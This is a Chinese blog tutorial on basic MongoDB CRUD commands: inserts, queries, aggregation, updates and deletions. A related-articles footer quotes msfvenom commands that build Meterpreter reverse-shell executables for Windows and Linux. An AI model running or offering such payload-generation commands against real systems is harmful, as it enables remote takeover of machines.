MongoDB基础实战:CRUD

news2024/10/6 12:30:33

1 缘起

后台项目使用的数据库是MongoDB,
在一次测试联调过程中,测试同事在测试数据的准确性时,
问我这些数据该怎么查,如何计算验证数据的结果,
我当时,对MongoDB数据操作不熟悉,请教了其他有经验的同事,
之后,我开始学习MongoDB,从最基本的开始:CRUD。
分享如下,帮助更多有需要的开发者,轻松应对日常开发和知识交流。

2 CRUD

在这里插入图片描述

2.1 新建

2.1.1 新建数据库

格式:

use database-name;

新建数据库:tutorial

use tutorial;

数据库不存在:创建数据库
数据库存在:切换到该数据库

2.1.2 新建数据

格式:

db.collection_name.insertOne({数据})
db.collection_name.insertMany([{数据-1},{数据-n}]);
  • 新建单条数据
    时间戳:Doule timestamp = new Date().valueOf();
db.user.insertOne(
    {
        "age": 10,
        "createdTime": new Date().valueOf(),
        "money": 100,
        "sex": "male",
        "uid": "0x0001",
        "username": "xiaoyi"
    }
);
  • 新建多条数据
db.user.insertMany(
    [
        {
            "age": 10,
            "createdTime": new Date().valueOf(),
            "money": Double(100),
            "sex": "male",
            "uid": "0x0007",
            "username": "xiaoqi"
        }, {
            "age": 10,
            "createdTime": new Date().valueOf(),
            "money": Double(100),
            "sex": "male",
            "uid": "0x0008",
            "username": "xiaoba"
        }]
);

2.2 查询数据

2.2.1 操作符

序号操作符描述
1lt<小于
2gt>大于
3lte<=小于等于
4gte>=大于等于

格式:

db.collection_name.find({条件});

2.2.2 查询所有数据

db.user.find();

在这里插入图片描述

2.2.3 查询指定条件的数据

db.user.find(
    {uid: '0x0002'})
db.user.find(
    {age: {$gt: 11}});

2.2.4 聚合查询

db.user.aggregate([
    {
        $match: {age: {$gte: 11}}
    },
    {
        $group: {_id: "$sex", totalMoney: {$sum: "$money"}}
    }
    ]);

在这里插入图片描述

2.3 更新数据

格式:

db.collection_name.updateOne({搜索条件}, {更新数据操作});
db.collection_name.updateMany({搜索条件}, {更新数据操作});

2.3.1 更新单条数据

db.user.updateOne({ _id: ObjectId("647c4ea010d72b63acb01301") }, {
    $set: {
        "age": 10,
        "createdTime": Long("1685868192340"),
        "money": Double(100),
        "sex": "male",
        "uid": "0x0001",
        "username": "xiaoyi"
    }
})

2.3.2 更新多条数据

  • age大于10的用户,money设置为10
db.user.updateMany({ age: {$gt: 10}}, {
    $set: {
        "money": Double("10"),
    }
});
  • age大于10的用户,money增加10
db.user.updateMany({ age: {$gt: 10}}, {
    $inc: {
        "money": Double("10"),
    }
});

2.4 删除

2.4.1 删除数据库

格式:

use database_name;
db.dropDatabase();

2.4.2 删除数据

格式:

# 删除所有数据
db.collection_name.deleteMany({});
# 删除所有数据
db.collection_name.drop();
# 删除特定数据
db.collection_name.deleteOne({field_name:  value});
# 删除多条数据
db.collection_name.deleteMany({field_name: value});

2.4.1 删除单条数据

db.user.deleteOne({_id:ObjectId("647c4e5e10d72b63acb01300")});

2.4.2 删除多条数据

db.user.deleteMany(
    {
        _id: {
            $in:
                [
                    ObjectId("647c685810d72b63acb01308"),
                    ObjectId("647c666410d72b63acb01307"),
                    ObjectId("647c685810d72b63acb01309")
                ]
        }
    }
);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/609065.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2. 两数相加解题思路

文章目录 题目解题思路 题目 给你两个 非空 的链表&#xff0c;表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的&#xff0c;并且每个节点只能存储 一位 数字。 请你将两个数相加&#xff0c;并以相同形式返回一个表示和的链表。 你可以假设除了数字 0 之外&am…

C++11之异常处理

文章目录 一、异常处理的概念二、异常编写的步骤&#xff08;来自图论教育&#xff09;三、栈展开和异常捕获四、C11中noexcep关键字 一、异常处理的概念 异常是程序可能检测到的&#xff0c;运行时不正常的情况&#xff0c;如存储空间耗尽&#xff0c;数组越界&#xff0c;被…

PG提示could not determine data type of parameter $4

目录 场景&#xff1a; 现象&#xff1a; 版本&#xff1a; 分析&#xff1a; 解决方式&#xff1a; 场景&#xff1a; 今天遇到现场环境连接Postgre数据库&#xff0c;日志提示could not determine data type of parameter $4&#xff0c;通过日志复制出完整sql&#xff…

SpringCloudAlibaba:分布式事务之Seata学习

目录 一、分布式事务基础 &#xff08;一&#xff09;事务 &#xff08;二&#xff09;本地事务 &#xff08;三&#xff09;分布式事务 二、Seata概述 1.Seata 的架构包含: 2.其工作原理为: 3.如果需要在 Spring Boot 应用中使用 Seata 进行分布式事务管理,主要步骤为…

Android Jetpack Compose实现轮播图效果

Android Jetpack Compose实现轮播图效果 在最近思索如何使用Compose方式改进我的开源TMDB电影列表应用程序的主屏幕时&#xff0c;一个激动人心的概念浮现在我的脑海中——为什么不整合一个吸引人的轮播图来展示即将上映的电影呢&#xff1f;在本文中&#xff0c;我将分享我的开…

旧改快讯--星河操刀,龙华稳健工业园项目专规获批

龙华街道稳健工业园城市更新单元原列入《2019年深圳市龙华区城市更新单元计划第五批计划》&#xff0c;现已列入《2022年深圳市龙华区城市更新单元计划第三批计划》&#xff0c;现该更新单元规划已经深圳市城市规划委员会法定图则委员会2023年第16次会议审议并获原则通过&#…

python环境安装

测试电脑环境有无安装python&#xff1a; winR&#xff0c;输入cmd&#xff0c;打开窗口&#xff0c;输入pyhton&#xff0c;查看是否有版本号&#xff0c;没有则是没有安装python环境 找到python-3.7.0-amd64的安装包&#xff0c;直接双击启动。上面是快速安装&#xff0c;我…

【Linux驱动】字符设备驱动相关宏 / 函数介绍(module_init、register_chrdev)

驱动运行有两种方式&#xff1a; 方式一&#xff1a;直接编译到内核&#xff0c;Linux内核启动时自动运行驱动程序方式二&#xff1a;编译成模块&#xff0c;使用 insmod 命令加载驱动模块 我们在调试的时候&#xff0c;采用第二种方式是最合适的&#xff0c;每次修改驱动只需…

八大排序之图文详解

前言 在数据结构中&#xff0c;排序是非常重要的内容&#xff0c;也是未来面试和笔试的重点。 本文代码是Java 目录 前言 一、插入排序 &#xff08;一&#xff09;直接插入排序 &#xff08;二&#xff09;希尔排序 二、选择排序 &#xff08;一&#xff09;选择排序 …

【CSS3系列】第六章 · 2D和3D变换

写在前面 Hello大家好&#xff0c; 我是【麟-小白】&#xff0c;一位软件工程专业的学生&#xff0c;喜好计算机知识。希望大家能够一起学习进步呀&#xff01;本人是一名在读大学生&#xff0c;专业水平有限&#xff0c;如发现错误或不足之处&#xff0c;请多多指正&#xff0…

通义千问预体验,如何让 AI 模型应用“奔跑”在函数计算上?

立即体验基于函数计算部署通义千问预体验&#xff1a; https://developer.aliyun.com/topic/aigc_fc AIGC 浪潮已来&#xff0c;从文字生成到图片生成&#xff0c;AIGC 的创造力让人惊叹&#xff0c;更多人开始探索如何使用 AI 提高生产效率&#xff0c;激发更多创作潜能&…

android jetpack Room的基本使用(java)

数据库的基本使用 添加依赖 //roomdef room_version "2.5.0"implementation "androidx.room:room-runtime:$room_version"annotationProcessor "androidx.room:room-compiler:$room_version"创建表 Entity表示根据实体类创建数据表&#xff0c…

Linux基础篇 Ubuntu 22.04的环境安装-02

目录 一、资料的获取 二、安装虚拟机 三、安装Ubuntu过程 四、注意事项 一、资料的获取 1.通过官方网站下载 Ubuntu系统下载 | Ubuntuhttps://cn.ubuntu.com/download2.下载桌面板即可 3.选择下载的版本 二、安装虚拟机 1.创建新的虚拟机 2.选择自定义安装 3.硬件兼容性选…

Zinx框架学习 - 请求与路由模块实现

Zinx - V0.3 请求与路由模块实现 在zinxV0.2中链接只封装了套接字&#xff0c;而请求是封装了链接和用户传输的数据&#xff0c;后续通过请求来识别具体要实现什么功能&#xff0c;然后通过路由来完成对应的功能处理。conn链接的业务处理HandleFunc是固定写死的&#xff0c;接…

【YOLO系列】YOLO v4(网络结构图+代码)

文章目录 how to compile on Linux(using cmake)yolo v4 测试 网络结构route 和shotcutNeckHead Loss参考 YOLO v4是YOLO系列的第三篇&#xff0c;YOLO v4融合了大量的检测小技巧&#xff0c;为了能够更快地理解YOLO v4&#xff0c;可先查看前两篇文章。 【YOLO系列】YOLO v3&a…

K8s架构(五)

K8s的物理架构是master/node模式&#xff1a; K8s集群至少需要一个主节点(Master)和多个工作节点(Worker)&#xff0c;Master节点是集群的控制节点&#xff0c;负责整个集群的管理和控制&#xff0c;主节点主要用于暴露API&#xff0c;调度部署和节点的管理。工作节点主要是运…

【Spring学习】Bean对象的作用域和生命周期,了解了这些你就真正熟悉spring框架了.

前言: 大家好,我是良辰丫,我们已经学会了Spring的存取,今天我们将一起来学习Bean对象的作用域和生命周期.&#x1f48c;&#x1f48c;&#x1f48c; &#x1f9d1;个人主页&#xff1a;良辰针不戳 &#x1f4d6;所属专栏&#xff1a;javaEE进阶篇之框架学习 &#x1f34e;励志语…

单源最短路的综合应用

1.新年好&#xff08;dfs最短路&#xff09; 信息学奥赛一本通&#xff08;C版&#xff09;在线评测系统 (ssoier.cn)http://ybt.ssoier.cn:8088/statusx.php?runidx17472125 先两两求一遍最短路&#xff0c;求一个地方到另一个地方的最短路&#xff0c;在枚举5个拜访的顺序…

Vue3 小兔鲜:Layout-静态模版结构搭建

Vue3 小兔鲜4&#xff1a;Layout-静态模版结构搭建 Date: May 31, 2023 目标效果&#xff1a; 分成Nav、Heade、二级路由出口、Footer区域 组件结构快速搭建 Nav <script setup></script><template><nav class"app-topnav"><div clas…

Android和windows(msf渗透)

msf生成木马的语句 #windows#x64 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTx.x.x.x LPORT7777 -f exe > shell.exe#x68 msfvenom -p windows/meterpreter/reverse_tcp LHOSTx.x.x.x LPORT5555 -a x86 --platform Windows -f exe > shell.exe#linux msfven…